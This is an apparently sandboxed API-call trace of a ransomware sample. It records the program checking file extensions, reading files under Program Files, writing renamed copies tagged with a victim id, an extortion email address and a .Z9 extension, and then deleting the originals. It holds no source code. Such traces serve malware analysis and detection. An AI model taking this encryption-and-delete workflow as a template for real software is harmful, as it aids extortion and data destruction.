	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".1cd") returned 4
	[0072.869] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".jpg") returned 4
	[0072.869] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".doc") returned 4
	[0072.869] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString=".docx") returned 5
	[0072.869] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0072.869] lstrlenW (lpString=".pdf") returned 4
	[0072.869] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString=".xls") returned 4
	[0072.869] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString=".xlsx") returned 5
	[0072.869] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0072.869] lstrlenW (lpString=".ppt") returned 4
	[0072.869] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".zip") returned 4
	[0072.869] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString=".rar") returned 4
	[0072.869] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0072.869] lstrlenW (lpString=".bz2") returned 4
	[0072.869] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0072.869] lstrlenW (lpString=".7z") returned 3
	[0072.869] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0072.869] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.869] lstrlenW (lpString=".dbf") returned 4
	[0072.870] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0072.870] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.870] lstrlenW (lpString=".1cd") returned 4
	[0072.870] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0072.870] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0072.870] lstrlenW (lpString=".jpg") returned 4
	[0072.870] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0072.870] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.870] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24
	[0072.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.871] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4782) returned 1
	[0072.871] CloseHandle (hObject=0x2f4) returned 1
	[0072.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20
	[0072.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.871] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.871] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.873] GetLastError () returned 0x0
	[0072.873] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x12ae, lpOverlapped=0x0) returned 1
	[0072.876] WriteFile (in: hFile=0x36c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12b0, lpOverlapped=0x0) returned 1
	[0072.877] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.877] WriteFile (in: hFile=0x36c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1
	[0072.877] SetEndOfFile (hFile=0x36c) returned 1
	[0072.877] CloseHandle (hObject=0x36c) returned 1
	[0072.878] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.878] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.879] CloseHandle (hObject=0x2f4) returned 1
	[0072.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0072.879] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.879] lstrlenW (lpString=".doc") returned 4
	[0072.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.879] lstrlenW (lpString=".docx") returned 5
	[0072.879] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0072.879] lstrlenW (lpString=".pdf") returned 4
	[0072.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.879] lstrlenW (lpString=".xls") returned 4
	[0072.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.879] lstrlenW (lpString=".xlsx") returned 5
	[0072.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0072.880] lstrlenW (lpString=".ppt") returned 4
	[0072.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString=".zip") returned 4
	[0072.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.880] lstrlenW (lpString=".rar") returned 4
	[0072.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString=".bz2") returned 4
	[0072.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString=".7z") returned 3
	[0072.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString=".dbf") returned 4
	[0072.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString=".1cd") returned 4
	[0072.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString=".jpg") returned 4
	[0072.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.880] lstrlenW (lpString=".doc") returned 4
	[0072.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString=".docx") returned 5
	[0072.880] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0072.880] lstrlenW (lpString=".pdf") returned 4
	[0072.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString=".xls") returned 4
	[0072.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.880] lstrlenW (lpString=".xlsx") returned 5
	[0072.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0072.880] lstrlenW (lpString=".ppt") returned 4
	[0072.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.881] lstrlenW (lpString=".zip") returned 4
	[0072.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.881] lstrlenW (lpString=".rar") returned 4
	[0072.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.881] lstrlenW (lpString=".bz2") returned 4
	[0072.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.881] lstrlenW (lpString=".7z") returned 3
	[0072.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.881] lstrlenW (lpString=".dbf") returned 4
	[0072.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.881] lstrlenW (lpString=".1cd") returned 4
	[0072.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0072.881] lstrlenW (lpString=".jpg") returned 4
	[0072.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.881] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.881] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26
	[0072.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.881] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4450) returned 1
	[0072.882] CloseHandle (hObject=0x2f4) returned 1
	[0072.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20
	[0072.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.882] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.882] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.883] GetLastError () returned 0x0
	[0072.883] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1162, lpOverlapped=0x0) returned 1
	[0072.891] WriteFile (in: hFile=0x36c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1170, lpOverlapped=0x0) returned 1
	[0072.892] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.892] WriteFile (in: hFile=0x36c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0072.892] SetEndOfFile (hFile=0x36c) returned 1
	[0072.893] CloseHandle (hObject=0x36c) returned 1
	[0072.893] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.893] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.894] CloseHandle (hObject=0x2f4) returned 1
	[0072.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0072.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1
	[0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.895] lstrlenW (lpString=".doc") returned 4
	[0072.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString=".docx") returned 5
	[0072.895] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0072.895] lstrlenW (lpString=".pdf") returned 4
	[0072.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString=".xls") returned 4
	[0072.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString=".xlsx") returned 5
	[0072.895] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0072.895] lstrlenW (lpString=".ppt") returned 4
	[0072.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.895] lstrlenW (lpString=".zip") returned 4
	[0072.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.895] lstrlenW (lpString=".rar") returned 4
	[0072.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString=".bz2") returned 4
	[0072.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.895] lstrlenW (lpString=".7z") returned 3
	[0072.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.895] lstrlenW (lpString=".dbf") returned 4
	[0072.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString=".1cd") returned 4
	[0072.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString=".jpg") returned 4
	[0072.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString=".doc") returned 4
	[0072.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString=".docx") returned 5
	[0072.896] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0072.896] lstrlenW (lpString=".pdf") returned 4
	[0072.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString=".xls") returned 4
	[0072.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString=".xlsx") returned 5
	[0072.896] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0072.896] lstrlenW (lpString=".ppt") returned 4
	[0072.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString=".zip") returned 4
	[0072.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.896] lstrlenW (lpString=".rar") returned 4
	[0072.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString=".bz2") returned 4
	[0072.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString=".7z") returned 3
	[0072.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.896] lstrlenW (lpString=".dbf") returned 4
	[0072.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.897] lstrlenW (lpString=".1cd") returned 4
	[0072.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0072.897] lstrlenW (lpString=".jpg") returned 4
	[0072.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.897] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.897] lstrlenW (lpString="Alphabet.xml") returned 12
	[0072.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.899] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=791421) returned 1
	[0072.899] CloseHandle (hObject=0x2f4) returned 1
	[0072.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0072.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.899] lstrlenW (lpString=".doc") returned 4
	[0072.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".docx") returned 5
	[0072.900] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0072.900] lstrlenW (lpString=".pdf") returned 4
	[0072.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".xls") returned 4
	[0072.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".xlsx") returned 5
	[0072.900] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0072.900] lstrlenW (lpString=".ppt") returned 4
	[0072.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString=".zip") returned 4
	[0072.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.900] lstrlenW (lpString=".rar") returned 4
	[0072.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".bz2") returned 4
	[0072.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".7z") returned 3
	[0072.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString=".dbf") returned 4
	[0072.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString=".1cd") returned 4
	[0072.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString=".jpg") returned 4
	[0072.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.900] lstrlenW (lpString=".doc") returned 4
	[0072.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.900] lstrlenW (lpString=".docx") returned 5
	[0072.900] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0072.900] lstrlenW (lpString=".pdf") returned 4
	[0072.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString=".xls") returned 4
	[0072.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString=".xlsx") returned 5
	[0072.901] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0072.901] lstrlenW (lpString=".ppt") returned 4
	[0072.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.901] lstrlenW (lpString=".zip") returned 4
	[0072.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.901] lstrlenW (lpString=".rar") returned 4
	[0072.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString=".bz2") returned 4
	[0072.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString=".7z") returned 3
	[0072.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.901] lstrlenW (lpString=".dbf") returned 4
	[0072.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.901] lstrlenW (lpString=".1cd") returned 4
	[0072.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0072.901] lstrlenW (lpString=".jpg") returned 4
	[0072.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.901] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.901] lstrlenW (lpString="Content.xml") returned 11
	[0072.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
